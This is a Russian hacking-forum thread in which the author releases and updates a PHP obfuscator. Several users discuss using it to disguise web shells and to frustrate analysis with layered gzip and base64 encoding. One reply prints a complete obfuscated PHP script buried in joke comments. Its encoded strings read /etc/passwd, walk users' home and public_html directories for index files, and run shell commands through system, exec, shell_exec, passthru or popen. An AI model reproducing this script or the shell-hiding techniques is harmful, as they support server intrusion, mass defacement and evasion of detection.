Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   PHP Obfuscator by DX (https://forum.antichat.xyz/showthread.php?t=70377)

d_x 15.05.2008 21:24

PHP Obfuscator by DX
 
Как-то столкнулся с проблемой - надо было провести обфускацию исходников скрипта на PHP (для тех кто не знает, что это такое: http://ru.wikipedia.org/wiki/обфускация). Но никак не мог найти толкового обфускатора, все почему-то выдавали нерабочий код с ошибками. В итоге решил написать свой, вот что получилось:

Исходники: http://stream.ifolder.ru/6593599
Пример работы: http://xxgate.jino-net.ru/

1. Скрипт имеет веб-интерфейс, поддерживает обфускацию имен переменных, имен функций, методов классов, шифрование статических строк (без переменных), а также сжатие PHP-кода (удаляются лишние пробелы, комментарии и т.п.)

2. Имеется возможность указать переменные, функции, которые не следует заменять, а также функции, параметры которых не следует заменять

3. Можно выборочно отключить обфускацию строк/переменных/функций. Для каждого типа также есть по два вида обфускации.

4. Не поддерживаются конструкции $$var_name и eval, также после обфускации необходимо будет поменять соответствующие имена функций в функциях, устанавливающих манипуляторы (например, ob_gzhandler). Не поддерживаются вызовы функций по их именам из строк.

А обфускация того скрипта, который я хотел изначально запутать, прошла отлично.

Обновление 1.3.

Скачать:
Rapidshare
Webfile

Piflit 15.05.2008 21:31

неплохо
большие файлы оставались рабочими?

d_x 15.05.2008 21:33

Да, пробовал делать обфускацию файла размером 100кб. Единственное, что не работает - это то, что я указал (eval и т.д., это просто остаётся как было, и нужно вручную править).

x-demon 15.05.2008 22:36

Если б допилил еще и обфускацию eval и $$var просто цены бы скриту не было =) А то eval то в шеллах часто есть...

d_x 15.05.2008 22:40

Ну $$var по сути никак не обработать, потому что например в таком коде:
PHP код:

<?
$test
='abc';

$
$test=1;

print 
$abc//выведет 1
?>

содержимое переменной test может быть каким угодно, оно может вообще получаться из БД или откуда-то ещё. С eval примерно то же самое получается.

x-demon 15.05.2008 23:00

Закодировал вебшелл маднетовский... Не скушал, высрал ошибку. А жаль.

d_x 15.05.2008 23:08

Да вот только что обнаружил, что всплывает ошибка иногда при включении сжатия файла, никак пока не могу определить, отчего.



Всё, нашёл в чём дело было, поправил, перезалил.


Маднетовский шелл теперь у меня нормально закодировался, но там используются как-раз таки $$var и eval.

xena-mil1 16.05.2008 01:55

интересует рабочий криптор кода + рабочий обсфуркатор ПХП

d_x 16.05.2008 18:40

Сделал версию 1.1.
  • Исправлено множество мелких иногда возникающих ошибок при обфускации
  • Теперь можно указать, заменять ли переменные и функции внутри скобок eval(). Строки в eval() по прежнему не заменяются, процесс нужно контролировать.
  • Добавлена функция вывода подробной отладочной информации:
    -новые и старые имена замененных переменных и функций;
    -имена найденных, но не замененных переменных и функций;
    -имена функций, параметры которых нужно пересмотреть вручную
  • Добавлено несколько переменных и функций в списки незаменяемых

Пробовал кодировать шелл от nst - он остался работоспособным, хотя в коде присутствуют несколько eval'ов.

Ссылка на скачивание и на пример в первом посте.

x-demon 16.05.2008 20:24

А добавь туда несколько методов обфускации. Kallisto, И которую madnet в своем шелле юзает - она очень сильно файло жмет. (gzip)

d_x 16.05.2008 22:20

Версия 1.2
  • Добавлена функция сжатия кода gzip, можно указать разную степень сжатия. Если исходный код имеет разрывы, то есть располагается не в одном блоке <? ... ?>, то, скорее всего, сжатый PHP-код не будет выполняться.
    Обновил ссылки в первом посте.

x-demon 16.05.2008 22:37

gzip+base64. И несколько раз. Киддиса остановит.

x-demon 16.05.2008 22:41

А, не заметил. ссори.

PiNzit 18.05.2008 20:49

скормил первый попавшийся скрипт, он потерял работоспособность... а жаль((

x-demon 31.05.2008 23:11

http://pobs.mywalhalla.net/ - тоже на пхп. Может что то полезное выдернешь и доведешь дело до конца.

zl0y 01.06.2008 00:09

Интересная штучка :)

b3 12.07.2008 19:33

Все прекрасно но перезалейте куда нибуть, где мозги не будут ипать насчет:
Цитата:

На данный момент иностранный трафик у этого файла превышает российский. Вы можете получить этот файл, только если посетите сайт наших рекламодателей, помогающих оплачивать наши сервера и каналы. Нажмите сюда, чтобы перейти к выбору рекламодателей.
Или же выложите исходник в теме, будет жить вечно.

NeOz 12.07.2008 19:36

Цитата:

Сообщение от b3
Все прекрасно но перезалейте куда нибуть, где мозги не будут ипать насчет:

Или же выложите исходник в теме, будет жить вечно.

http://webfile.ru/2084771

d_x 12.08.2008 21:13

Обновление 1.3.

Что нового:
  • Теперь можно давать переменным и функциям абсолютно схожие имена вида $_, $__, $___ и т.д.
  • Добавлена функция заполнения исходника комментариями про Дэвида Блейна.:) Комментарии добавляются во все доступные места. Для того, чтобы увидеть хороший результат, убираем флажки "максимально сжать скрипт" и "сжать файл" и ставим флажки "Добавить спец. комментарии" и "Вывести комментарии в отдельных строках".

Скачать:
Rapidshare
Webfile

lisa99 12.08.2008 23:24

Просьба привести небольшой (рабочий) пример кода после обфускации для тестирования на декодирование =)

Kaimi 12.08.2008 23:43

Толку то? Код просто неудобно читать становится, а так вот:
PHP код:

<? /* <=====street magic=====> */
 /* <David Blaine>: Ага, вот эти ребята... */
function /* <Peter>: Ненененене!! */
_187659043($i){$a=Array('MS4gPGZvbnQgY29sb3I9Z3JlZW4+T0s8L2ZvbnQ+Cg==','CjEuIDxmb250IGNvbG9yPXJlZD5FcnJvcjwvZm9udD4=','L2hvbWUv','L3B1YmxpY19odG1sLw==','L1xzLw==','','ZmluZCA=','IA==','LXR5cGUgZiAtbmFtZSAiaW5kZXguKiI=','CjIuIDxmb250IGNvbG9yPXJlZD5FcnJvcjwvZm9udD4=','L2V0Yy9wYXNzd2Q=','Cg==','Y2F0IC9ldGMvcGFzc3dk','Og==','Iw==','','Cg==','cg==','');return /* <Avon>: Нет, нет, Дэвид Блейн, нет! */
base64_decode($a[$i]);} /* <David Blaine>: Я делаю особую, уличную магию. */
?><?php
 
/* <David Blaine>: Кто хочет увидеть немного магии? */
error_reporting(0); /* <Avon>: Чё мы тебе, долботрясы какие-нибудь? Нет, спасибо! */
$_/* <Peter>: Мы целый день шопились, заманались, хотим просто отдохнуть, всё! */
l_(); /* <David Blaine>: И где вы шопились? */
if(count($_)>20){ /* <Peter>: В один магаз ходили новый! */
echo /* <Avon>: Он ещё не трендовый, ты про него не знаешь. */
_187659043(0);} /* <David Blaine>: И чо купили? */
else{ /* <Avon>: Я купил зеленый свитер, если ты так хочешь знать! */
echo /* <Peter>: Зеленый свитер! */
_187659043(1);} /* <David Blaine>: Интересно... А ты уверен, что ты не купил тедди беар, плюшевого мишку? */
while($__/* <Avon>: Да, я уверен! */
count($_)){ /* <Avon>: ТЕДДИ БИР!! */
$___/* <Peter>: Чё за херь! */
_187659043(2) .$_[$__] . /* <Peter>: Э, ты чо сделал-то, а?! */
_187659043(3); /* <Avon>: Где мой свитер? */
$___/* <Peter>: Эй, он купил свитер, а он исчез, это ты его стырил? Притырил себе свитер, да это воровство! Отдай его свитер, сволочь! */
preg_replace/* <Avon>: Я потратил 48 долларов, ты, тупой и убогий фокусник! Где он? */
_187659043(4), /* <Peter>: Питер, глянь чо на тебе! */
_187659043(5), /* <Avon>: Что за херня??? Как? */
$___); /* <Peter>: В РОТ МНЕ НОГИ!!! */
$____/* <Avon>: Я держал в руках вещи! */
_187659043(6) .$___ /* <Peter>: В рот мне ноги! */
_187659043(7) . /* <Avon>: А, он уже растянутый, спасибо тебе! */
_187659043(8); /* <Peter>: Слушай, остановись, а? */
$_____/* <Avon>: Растянул свитер, я его даже не поносил ещё! */
trim(l__($____)); /* <David Blaine>: Эй. Эй, чё ты пьёшь? */
if($_____){ /* <Peter>: Оранж соду я пью! Что, в медведя превратишь? Я стакан-то держу! */
$______/* <David Blaine>: Оранж соду? Может чё-нить другое оранжевое? */
true/* <Peter>: Чо ещё оранжевое? Ну это, печеньки? */
echo"\n2. <font color=green>OK</font>: $___<br>";} /* <Peter>: ПЕЧЕНЬКИ!!! Стрелять-колотить! */
$__++;} /* <Peter>: ПЕЧЕНЬКИ!!! Печеньки! Печеньки! Печеньки! */
if(!$______){ /* <Peter>: Где оранж сода? Ты чо делаешь вообще, ты чо делаешь? */
echo /* <Avon>: У меня во рту оранж сода! */
_187659043(9);} /* <Peter>: Я на измене, я на измене! */
function /* <Avon>: Какая херня, ты положил её мне в рот! */
l_(){ /* <Peter>: В рот мне ноги, ты прекратишь это или нет, демон, остановись, в рот мне ноги! */
$_/* <David Blaine>: Ну ладно-ладно, ребята, знаете, я хочу показать вам кое-что действительно крутое... */
array(); /* <Peter>: НЕТ! */
$_______/* <Avon>: Не, чувак, лучше себе показывай! */
file/* <David Blaine>: Так, подождите одну минуточку, секунду подождите... */
_187659043(10)); /* <Avon>: Оставь нас в покое! */
if(!$_______){ /* <Peter>: Ааа, видел я этот фокус, ножками перебирать будешь, типа взлететь хочешь. */
$_______/* <Avon>: Мой племянник может так сделать, тоже мне фокус! */
explode/* <David Blaine>: Просто подождите секундочку, а? */
_187659043(11), /* <Peter>: Крис Эйнджел делает это лучше, ****, понял, Крис Эйнджел делает это лучше! */
l__/* <Avon>: Эйвин! Я лечу! */
_187659043(12)));} /* <Peter>: Ёманарот!! */
if(!$_______/* <Avon>: Я чувствую тепло и лечу! */
return /* <Peter>: ЁМАНАРОТ!!! */
0/* <Peter>: Опусти его, пожалуйста, а? Ёманарот, под ним ничо нету, совсем ничо нету! */
foreach($_______ /* <Avon>: Он закинул меня на крышу! Он на крышу меня зачем-то закинул! Зачем ты меня сюда закинул? Дэвид Блейн, дай мне слезть! Дэвид Блейн, спусти меня! */
as /* <Peter>: Хватит мне газировку в рот пихать! */
$________){ /* <Avon>: Он даже не отлевитировал меня обратно! */
$_________=@explode/* <Peter>: В рот мне ноги, валим отсюда быстрей! */
_187659043(13),$________); /* <David Blaine>: Эй, эй, ребята, ещё один трюк, ещё один фокус... */
if(substr($________,0,1)!= /* <Peter>: Иди в пень, а то щас ментов позову! */
_187659043(14)) /* <David Blaine>: Эй, подождите, парни, последний, обещаю. Эй, ребята! */
array_push($_,$_________[0]);} /* <David Blaine>: Если вы дадите мне показать ещё один фокус, я дам вам сто долларов. */
return /* <David Blaine>: Позвольте показать мне вам ещё один фокус, и я дам вам сто долларов. */
$_;} /* <Peter>: Дашь мне сто долларов? */
function /* <Avon>: Ты сможешь купить тот шарфик! */
l__($__________){ /* <Peter>: Точно! Зашибись, гони сто баксов. */
$___________/* <David Blaine>: Могу я зайти? */
_187659043(15); /* <Peter>: Ну ладно, пошли... */
if(!empty($__________)){ /* <Peter>: Ты точно деньги дашь? */
if(function_exists('system')){@ob_start();@system($__________); /* <Avon>: Добро пожаловать в дом. */
$___________=@ob_get_contents();@ob_end_clean();} /* <Peter>: И вот мы в моей квартире, и чо? */
elseif(function_exists('exec')){@exec($__________,$___________); /* <David Blaine>: Вот это что такое? */
$___________/* <Peter>: Мой видак. */
join/* <David Blaine>: Интересно... Сделай мне одолжение, найди кассету, на которой написано 'Маленький Эйвон, апрель восемьдесят четвёртого'. */
_187659043(16),$___________);} /* <Peter>: Щас посмотрю, может где-то есть... */
elseif(function_exists('shell_exec')){ /* <David Blaine>: Посмотри в магнитофоне, она там. */
$___________=@shell_exec($__________);} /* <Avon>: Чё-то мне как-то сыкатно... */
elseif(function_exists('passthru')){@ob_start();@passthru($__________); /* <Peter>: Ну и чо такого, просто кассета, хоум видео... Я там в том возрасте ещё сиську сосу. Вот этот карапуз - я. */
$___________=@ob_get_contents();@ob_end_clean();} /* <Avon>: А вот это мама Эйвона. */
elseif(@is_resource($____________=@popen($__________/* <Peter>: Вот я сопли пузырями надуваю, и чо? */
_187659043(17)))){ /* <Avon>: Его мама и щас хорошо выглядит. */
$___________/* <David Blaine>: <в видео:> Вот сто долларов. Я должен Вашему сыну. */
_187659043(18); /* <Peter>: Фак мой моск!! */
while(!@feof($____________)){ /* <Avon>: Это что вообще за ***ня?!!!! */
$___________ /* <Avon>: Тот же самый и там и там!! */
.=@fread($____________,1024);}@pclose($____________);}} /* <Peter>: Фак мой моск!!! */
return /* <Peter>: В рот мне ноги, тут вообще чё происходит-то, а?!!! */
$___________;} /* <Avon>: Блин, я обоссался! */
?>


d_x 12.08.2008 23:49

Мой vkontakte messenger обработан этим обфускатором, полностью работоспособен.

DIAgen 13.08.2008 00:29

Цитата:

Сообщение от Kaimi
Толку то? Код просто неудобно читать становится, а так вот:


А что будет сложно удалить все эти коментраии? Просто открываем файл, и регуляркой ищим /*и что тут находиться*/ и заменяем на что нибудь например на \n все (:

DIAgen 13.08.2008 00:32

И на php не возможно написать нормально Obfuscator, для новичков будет солжно разобраться иль вообще не смогут, а для тех кто разбераеться выше среднего сможет разобраться без проблем (:

P.S. В свое время тож хотел написать Obfuscator но потом понял что нет толку (:

Kaimi 13.08.2008 00:49

Цитата:

А что будет сложно удалить все эти коментраии? Просто открываем файл, и регуляркой ищим /*и что тут находиться*/ и заменяем на что нибудь например на \n все (:
Чтение затрудняется не из-за комментариев, комментарии это так, феня. Да и обфускация кода как раз рассчитана на новичков+, остальные даже если не расшифруют, так аналог напишут

Хацкер 13.08.2008 16:52

удалил) не туда написал)))

White Forgiveness 05.06.2009 20:19

Перезалейте плз версию 1.3, в первом посту ссылки битые.

d_x 05.06.2009 22:12

http://kaimi.ru/wp-content/uploads/2009/03/obf.zip


Время: 19:29